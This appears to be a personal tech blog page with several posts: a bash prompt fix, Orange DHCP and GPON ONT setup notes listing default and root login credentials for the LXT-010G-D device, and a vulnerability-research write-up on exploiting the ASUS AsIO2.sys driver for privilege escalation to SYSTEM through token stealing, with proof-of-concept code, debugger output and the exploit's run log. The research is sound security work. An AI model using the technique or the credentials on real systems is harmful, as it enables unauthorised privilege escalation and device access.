Bof.

No theme, no regular posting.

Archive

© 2014-2023. Raphaël Rigo CC-BY-SA 4.0

About.

Adding a newline when necessary to bash's prompt

The problem

Since years I’ve raged when my cursor in my bash prompt was incoherent: the blinking rectangle was in one place but deleting chars would delete the wrong ones.

I finally took the time to try to understand what was wrong. Long story short: if the previous command did no end with a newline.

A typical case is when using curl, which by default, outputs the page without adding a newline at the end. But a simple way to reproduce is to use echo:

trou@valhalla:~$ echo -n test
testtrou@valhalla:~$

But the problem is that it’s not bash’s role to check the output of the last command. Some “modern” shells such as zsh or fish actually do that. But I wanted to find a solution which works everywhere, and bash is the common denominator for most Linux and Unix systems.

How to fix?

I first found a solution which involved writing spaces until the line wraps, but it broke when using a python virtualenv.

The answer on this StackExchange question is actually quite clever: is reads the current cursor position using terminal escape codes and only outputs a newline if we are not in the first column.

The final result for me is:

PS1='${debian_chroot:+($debian_chroot)}\[\e[38;5;111m\]\u@\[\e[92m\]\h\[\e[39m\]$text:\[\e[38;5;86m\]\w\[\e[00m\]\$ '

# https://github.com/dylanaraps/pure-bash-bible#get-the-current-cursor-position
new_line_ps1() {
  local _ y x _
  local RESET="\001\e[0m\002"

  IFS='[;' read -p $'\e[6n' -d R -rs _ y x _
  if [[ "$x" != 1 ]]; then
    printf "\n${RESET}"
  fi
}

Midnight Commander

One last thing to fix is to avoid mc weird behaviour (slooooow start) when running with this PS1, by actually disabling the functionnality when running under mc:

# Don't add newline in mc
if [ -z $MC_SID ]; then
    PS1="\$(new_line_ps1)$PS1"
else
    PS1="[mc]$PS1"
fi

Fish also had a problem, which they workedaround with the exact same if.

Making DHCP work without a Livebox

Context

I replaced my Livebox with a GPON, but recently, Orange reinforced the checks they do on DHCP requests options.

The most important ones are:

  • authentication is actually verified, instead of relying on just identification as before
  • DHCP requests must have a CoS value of 6 in the VLAN header

Debian 11 Linux setup

The most “challenging” part is having DHCP packets with a CoS value of 6. Various options to achieve this are:

  • using the CLASSIFY target of iptables, which does not work as dhclient uses raw sockets
  • using tc’s skbedit target to change packet contents, which is a bit ugly
  • using cgroups v1 net_prio target, which is problematic in the long run, as cgroups v1 are deprecated and not really easy to setup “cleanly” on a modern dirstro using systemd
  • using LD_PRELOAD with dhclient to set the socket priority to 6 and map to vlan cos using egress-qos-map

After fiddling with different options, I finally settled for the last one, using Xavier Guerrin’s code.

interfaces:

auto internet
iface internet inet manual
  pre-up    ip link add link enp3s0 name internet type vlan id 832 egress-qos-map 0:0 6:6
  up SO_PRIORITY_DEBUG=1 SO_PRIORITY_VALUE=6 LD_PRELOAD=/root/so_priority.so/so_priority.so dhclient -v in
ternet
  post-down ip link del internet

Updated dhclient.conf:

option rfc3118-authentication code 90 = string;
option orange code 125 = string;
interface "internet" {
  timeout 60;
  retry 1;
  select-timeout 0;
  send dhcp-client-identifier 01:00:0d:b9:45:7d:96;
  send vendor-class-identifier "sagem";
  send user-class "+FSVDSL_livebox.Internet.softathome.Livebox4";
  # generated with https://jsfiddle.net/kgersen/3mnsc6wy/
2f:61:64:61:79:65:65:70;
  send rfc3118-authentication 00:00:00:00:00:00:00:00:00:00:00:1a:09:00:00:05:58:01:03:41:01:0D:66:74:69:xx:xx:xx:xx:xx:xx:xx:xx:xx:xx:xx:xx:xx:xx:xx:xx:xx:xx:xx:xx:xx:xx:xx:xx:xx:xx:xx:xx:xx:xx:xx:xx:xx:xx:xx:xx:xx:xx:xx:xx:xx:xx:xx:xx:xx:xx
  request subnet-mask, routers,
          domain-name-servers, domain-name,domain-search,
          broadcast-address,
          dhcp-lease-time, dhcp-renewal-time, dhcp-rebinding-time,
          rfc3118-authentication, orange;
}

References

Replacing the Livebox 5 with an ONT GPON LXT-010G-D

Context

I bought a GPON LXT-010G-D to replace my Livebox 5, which comes with an integrated ONT, so you cannot use an MC220L easily. Plus, the Sercomm FGS202 that is provided by Orange does not allow you to spoof the necessary information to register on the GPON tree (if I understood things correctly).

LXT basic setup

The LXT starts with a default IP: 192.168.1.1. To change it, login on the HTTP interface with adsl / realtek and change the config on the LAN page.

Once this is done you can restart it and connect using Telnet:

Trying 10.0.0.199...
Connected to 10.0.0.199.
Escape character is '^]'.
LXT-010G-D login: adsl
Password: 
# 

Copying the necessary information from the Livebox 5

The ONT information is accessible from the Livebox web interface as can be seen in the screenshot:

ONT information

I think I modified (at least) the following parameters (see the references section below for the source):

  • PON_VENDOR_ID
  • GPON_SN
  • HW_HWVER
  • GPON_ONU_MODEL
  • OMCI_SW_VER1
  • OMCI_SW_VER2

Using the following commands:

# flash set PON_VENDOR_ID SMBS
PON_VENDOR_ID=SMBS

DHCP client options

Everything comes from Vincent Bernat’s page, thanks a lot!

/etc/network/interfaces:

auto enp3s0
iface enp3s0 inet manual

auto internet
iface internet inet dhcp
  pre-up    ip link add link enp3s0 name internet type vlan id 832 egress-qos-map 0:0 6:6
  pre-up    /etc/network/tc_for_livebox
  post-down ip link del internet

tc_for_livebox:

#!/bin/sh

# We need a qdisc to set filters
tc qdisc replace dev internet root handle 1: prio
tc filter del dev internet

# DHCP (raw sockets, do not specify "protocol ip")
tc filter add dev internet parent 1: prio 1 u32 \
     match ip protocol 17 ff \
     match ip dport 67 ffff \
     action skbedit priority 0:6
# ARP
tc filter add dev internet parent 1: prio 2 protocol 0x806 u32 \
     match u32 0 0 \
     action skbedit priority 0:6
# IGMP
tc filter add dev internet parent 1: prio 3 protocol ip u32 \
     match ip protocol 2 ff \
     action skbedit priority 0:6
# ICMP
tc filter add dev internet parent 1: prio 4 protocol ip u32 \
     match ip protocol 1 ff \
     action skbedit priority 0:6

dhclient.conf:

option rfc3118-authentication code 90 = string;
interface "internet" {
  timeout 60;
  retry 1;
  select-timeout 0;
  send vendor-class-identifier "sagem";
  send user-class "+FSVDSL_livebox.Internet.softathome.Livebox4";
  # fti/xxxxxx identifier can be converted to hexadecimal with:
  #  echo -n 123456 | od -A n -t x1
  send rfc3118-authentication 00:00:00:00:00:00:00:00:00:00:00:1a:09:00:00:05:58:01:03:41:01:0d:66:74:69:2f:xx:xx:xx:xx:xx:xx:xx;
  request subnet-mask, routers,
          broadcast-address,
          dhcp-lease-time, dhcp-renewal-time, dhcp-rebinding-time,
          rfc3118-authentication;
}

Results

Life without Livebox:

  • Less electricity power consumption (a few watts)
  • Latency is more stable
  • Say goodbye to IRC disconnects (conntrack issues ?)

Ping statistics, before and after:

rtt min/avg/max/mdev = 1.835/5.440/268.624/12.040 ms
rtt min/avg/max/mdev = 1.850/2.355/2.636/0.104 ms

References

ONT GPON LXT-010G-D basic info

I bought a GPON LXT-010G-D to replace my Livebox 5.

Basic survival information:

  • default IP: 192.168.1.1
  • default user/pass for web:
    • user / user (low priv)
    • adsl / realtek
  • telnet, on port 23.
    • user / user (low priv)
    • adsl / realtek: root
    • leox / leolabs_7: root

Useful commands:

  • diag: Cisco like diagnostic and config shell
    • pon get transceiver tx-power

ASUS ASIO2.sys exploitation

This post is a follow up to the vuln research in ASUS AsIO2 driver, which provides, among others, Everyone the following primitives:

  • arbitrary MSR read and write
  • R/W access to arbitrary physical memory
  • a stack based buffer overflow

My initial tests on physical memory seemed to indicate it was read-only, but they were a result of me inverting the results of AllocatePhysMemory

However, it’s interesting to see how one can check the mappings between virtual and physical.

The following code will alloc physical memory using AsIO2, and map a new user accessible page and dump the content (AllocatePhysMemory is broken in x64, as we’ll see):

uint32_t phys_addr;
uint32_t virt_addr;

phys_addr = AllocatePhysMemory(0x1000, &virt_addr);
printf("AllocatePhysMemory: (virtual: %08x / physical: %08x)\n", virt_addr, phys_addr);

// Map the newly allocated physical mem
value = ASIO_MapMem(phys_addr, 0x1000);
unsigned char *ptr = (unsigned char*)value;
printf("Ptr: %p\n", ptr);
memcpy(ptr, "etst", 4);
hexdump("new mem", (void *)value, 0x10);
getchar();  // Used to flush the display and wait to trigger the breakpoint
DebugBreak();

Let’s put a breakpoint right after the call to MmAllocateContiguousMemory and run the code:

0: kd> bp AsIO2+0x1a80 "r rax; g"
0: kd> g
...
rax=ffffbb80e416c000
Break instruction exception - code 80000003 (first chance)
KERNELBASE!wil::details::DebugBreak+0x2:
0033:00007ffe`90f40bb2 cc              int     3

Now we can check which physical page is mapped to 0xffffbb80e416c000:

0: kd> !pte ffffbb80e416c000
                                           VA ffffbb80e416c000
PXE at FFFFF77BBDDEEBB8    PPE at FFFFF77BBDD77018    PDE at FFFFF77BAEE03900    PTE at FFFFF75DC0720B60
contains 0A00000003C30863  contains 0A00000003C31863  contains 0A000000502AD863  contains 0A000000BF348863
pfn 3c30      ---DA--KWEV  pfn 3c31      ---DA--KWEV  pfn 502ad     ---DA--KWEV  pfn bf348     ---DA--KWEV

As the PTE is 0x0A000000BF348863, we know the physical address is 0xBF348000

The shell displays:

AllocatePhysMemory: (virtual: e416c000 / physical: bf348000)
Ptr: 0000000000188000
new mem
  0000  10 59 de 73 dc ee ff ff 50 4c e6 73 dc ee ff ff  .Y.s....PL.s....

Note that the virtual address returned is:

  • a kernel one, unusable for userland
  • truncated as the driver only returns 32 bits.

So let’s check 0x188000 is mapped to the same physical address:

0: kd> !pte 188000
                                           VA 0000000000188000
PXE at FFFFF77BBDDEE000    PPE at FFFFF77BBDC00000    PDE at FFFFF77B80000000    PTE at FFFFF70000000C40
contains 8A00000057BBC867  contains 0A00000057BBD867  contains 0A000000447C2867  contains 8A000000BF348867
pfn 57bbc     ---DA--UW-V  pfn 57bbd     ---DA--UWEV  pfn 447c2     ---DA--UWEV  pfn bf348     ---DA--UW-V

As you can see, the PTE contains the same physical address, however, the letter U instead of K shows the virtual address is accessible to userland. And the W that is it writable. Neat !

Exploit goals and strategy

So my goal here is to get our userland process to have SYSTEM privileges. As we have access to physical memory, we could also leak sensitive data, for example by target lsass to recover credentials.

While researching various exploit strategies, I found that many drivers exhibit such vulnerabilities and that research is rather abundant. The following works were very useful:

Only having access to physical memory makes exploitation a bit more interesting:

  • we don’t have access to MmGetPhysicalAddress to do VA to PA translation
  • so we have no direct way to find interesting structures or secrets

Exploit: token stealing

Token stealing is a well known technique used for LPE, where one rewrites the token pointer in the attacker’s process to point to a privileged process’ token.

Morten Schenk has a good blog post explaining the technique.

Here, however, we have the following constraint:

  • we are in userland, so we do not know where our EPROCESS structure is in memory
  • we don’t know where our cr3 points, either
  • thanks to KASLR, there are no interesting structure at fixed physical addresses (at least that’s what I believe, with my limited knowledge of Windows internals)

I initially thought that I could use volatility’s techniques to find the interesting structures. But when I found ReWolf’s exploit I realized that it was just perfect: one just needs to implement a new class which will provide the exploit access to the target’s physical memory, which is trivial in our case.

Adding AsIO2 support to ReWolf’s exploit

Adding the provider

The WinIO provider in ReWolf’s exploit is basically identical to ours, except for the DeviceIoControl code. So no need to detail it, I just added a log to tell the user if opening the device failed (in case the ASUSCERT resource is invalid for example).

Compiling under MinGW

Of course I was not going to use Visual Studio to compile the exploit, but as it’s written in (over-engineered, in ReWolf’s own words) C++, I feared compilation would be complex.

Well, not really, I had to patch a few things such as:

  • broken includes due to case
  • add an explicit extern for GetPhysicallyInstalledSystemMemory
  • patched bstr_t to SysAllocString (Update: actually, I just needed to include comutil.h)
  • detecting the Windows 10 version to handle the new offset for Token in version 1909

Update: A friend pointed me to NtDiff which is very usefull to spot offset changes.

And of course I had to add the ASUSCERT resource entry, as described in the first post.

After doing this, running the exploit is trivial:

C:\Users\toto\Desktop>exploit asio
Win10 1909+ detected, using 0x360 for Token offset
Whoami: desktop-fa65285\toto
Found wininit.exe PID: 00000210
Looking for wininit.exe EPROCESS...
[+] Asusgio2 device opened
EPROCESS: wininit.exe, token: ffff9686b43270a8, PID: 0000000000000210
Stealing token...
Stolen token: ffff9686b43270a8
Looking for exploit.exe EPROCESS...
EPROCESS: exploit.exe, token: ffff9686b91df069, PID: 00000000000011d0
Reusing token...
Write at : 00000000001663e0
Whoami: nt authority\system

Exploit code

Grab it on GitHub.

Going further

If you want more shitty driver exploits, check hfiref0x’s gist and add support for them in the tool ;)